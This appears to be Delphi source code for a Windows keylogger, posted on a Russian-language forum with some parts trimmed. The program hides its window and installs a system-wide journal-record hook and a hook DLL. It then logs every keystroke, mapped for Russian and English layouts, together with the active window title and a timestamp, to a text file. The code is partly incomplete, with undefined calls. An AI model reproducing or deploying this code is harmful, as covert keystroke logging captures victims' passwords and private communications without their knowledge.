const
  WinTitle='Hook';
  {$EXTERNALSYM WM_DESTROY}
  WM_DESTROY   =  $0002;
  {$EXTERNALSYM WM_USER}
  WM_USER   = $0400;

var
  Handle : HWND;
  WinClass: TWndClass;
  Msg: TMsg;
  LangInt:integer;
  OLDwnd , NEWwnd: string;
  h : hhook;
  LogFile: string;


function FookKB: Longint;stdcall; external 'bbl.dll' name 'InstallHook';
function UnFookKB: Longint;stdcall; external 'bbl.dll' name 'RemoveHook';

function AnsiUpperCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharUpperBuff(Pointer(Result), Len);
end;
function AnsiLowerCase(const S: string): string;
var
  Len: Integer;
begin
  Len := Length(S);
  SetString(Result, PChar(S), Len);
  if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;

function FileExists( const FileName : String ) : Boolean;
var
  Code: Integer;
begin
  Code := GetFileAttributes(PChar(FileName));
  Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;

Function GetDateTime:string;
 var
  DT       : TSystemTime;
  Date,Time: array[0..32]of char;
begin
    GetLocalTime(DT);
    GetDateFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Date,sizeOf(Date));
    GetTimeFormat(LOCALE_USER_DEFAULT,0,@DT,nil,Time,sizeOf(Time));
    Result:= date + ' | ' + time;

end;

procedure WriteToTxt(fname,text: string);
var
  F: File;
  buf: array[0..2500] of Char;
  I : integer;
begin
    AssignFile(F, fname);
    If not FileExists(fname) then
    Rewrite(f);

    Reset(f,1);
    Seek(F, system.filesize(F) );
    for i:=1 to length(text) do buf[i-1]:=text[i];
    BlockWrite(F, buf, length(text));
    CloseFile(F);
end;


Function X_ScanKey(Key:AnsiString;
                   Lay:integer;
                   Ch,sh:boolean
                   ):string;
begin
  result:=key;
  key:= AnsiLowerCase(key);

        if length(key)>1 then
        begin
        if key='space' then key:=' ' else
        if key='enter' then key:=#13#10 else
        Key:='{'+key+'}';
        result:=key;
        exit;
        end;

  if Lay = 1 then
                  begin

  if sh then begin
  if key =  '`' then key:= '~';
// чуток обрезал для экономии места в посте
  if key =  '/' then key:='?';
  end;

                end else  if Lay = 2
                 then
                      begin
 if key = '/'  then key:='.';
 if key = '`' then key:='ё';
 if key = 'q' then key:='й';
// чуток обрезал для экономии места в посте
 if key = '.'  then key:='ю';

  if sh then begin
            if key = '\' then key:='/';
// чуток обрезал для экономии места в посте
            if key = '.' then key:=',';
         end;

    end;

  if ch then Result:=AnsiUpperCase(key) else Result:=AnsiLowerCase(key);
end;

Procedure Proc(code:integer; wParam:WPARAM;lParam:LPARAM );{:lresult;}stdcall;

   function AC:string;
   var
   Handle:THandle;
   Len:LongInt;
   Title:string;
   begin
     Handle:=GetForegroundWindow;
     Len:=GetWindowTextLength(Handle) + 1;
     SetLength(Title,Len);
     GetWindowText(Handle,PChar(Title),Len);
     AC:=(Title);
   end;

  function IsCapsLockPressed:boolean;
    var KeyState  : TKeyboardState;

      function State(Ctrl : Word) : boolean;
      begin Result:=((KeyState[ctrl] and 1)=1); end;

   begin
      Result:=false;
       if GetKeyboardState(KeyState)=False then exit;
        Result:=State(vk_Capital);
   end;

   Function IsShiftPressed:boolean;
   begin
       if GetKeyState(VK_SHIFT) < 0 then result:=true else result:=false;
   end;

    function xLng(hHn:THandle):integer;
    begin
      xLng:=1;
      if (hHn and $FF) = 9 then  xLng:=1
      else if (hHn = $419) then  xLng:=2;
    end;

var
 c:array[0..255] of char;
 nScan:integer;
 iSuPPer:boolean;
begin

   if  ( (code>=0)and(teventmsg(pointer(lparam)^).message=$0100) )
    or   ( (code>=0) and (teventmsg(pointer(lparam)^).message=$0104) )
     then
       begin
         nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
         nscan:=nscan shl 16;
         GetKeyNameText(nScan,c,256);

         if (IsCapsLockPressed and IsShiftPressed)  then iSuPPer:=False else
         if (IsCapsLockPressed or IsShiftPressed) then iSuPPer:=True else iSuPPer:=false;

         NEWwnd := AC;
         if OLDwnd <> NEWwnd then
         begin
           OLDwnd := NEWwnd;
           WriteToTxt(LogFile,'[ '+OLDwnd+' ]  Time: ' + GetDateTime  + #13#10);
         end;

           WRiteToTxt(LogFile, X_ScanKey(c,LangInt,iSuPPer,IsShiftPressed) );
       end;
end;

function WndProc(hnd, wmsg, wparam, lparam: integer): LongInt; stdcall;

    function xLng(hHn:THandle):integer;
    begin
      xLng:=1;
      if (hHn and $FF) = 9 then  xLng:=1
      else if (hHn = $419) then  xLng:=2;
    end;

begin

  case Wmsg of

     WM_USER+1, WM_USER+2:
      begin
        LangInt :=  xLng ( LOWORD( lParam ) ) ;
      end;

    WM_DESTROY:
    begin
       unhookwindowshookex(h);
       UnFookKB;
       ExitProcess(hnd);
    end;
  end;
   Result:=DefWindowProc(hnd, wmsg, wparam, lparam);
end;

Procedure AppOn;
begin
GetStart;
ParamStr(0);
  with WinClass do
    begin
      lpszClassName:=WinTitle;
      lpfnWndProc:=@WndProc;
      cbClsExtra:=0;
      cbWndExtra:=0;
      hInstance:=hInstance;
      style:=CS_HREDRAW+CS_VREDRAW+CS_DBLCLKS;
      hbrBackground:=COLOR_WINDOW;
    end;
  RegisterClass(WinClass); 
Handle:=CreateWindowEx(WS_EX_WINDOWEDGE, WinTitle, WinTitle, WS_SYSMENU, integer(CW_USEDEFAULT), integer(CW_USEDEFAULT), 0, 0, 0, 0, hInstance, nil);
end;

begin
AppOn;
ShowWindow(Handle, SW_HIDE);
FookKB;
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
  LogFile:= 'file.txt';
  while GetMessage(Msg, 0, 0, 0) do
    begin
      TranslateMessage(Msg);
      DispatchMessage(Msg);
    end;
end.

function InstallHook:dword;
begin
  Hk := SetWindowsHookEx( WH_SHELL, @Proc, Hinstance, 0 );
 Return:=Hk;
end;

begin
InstallHook;
end.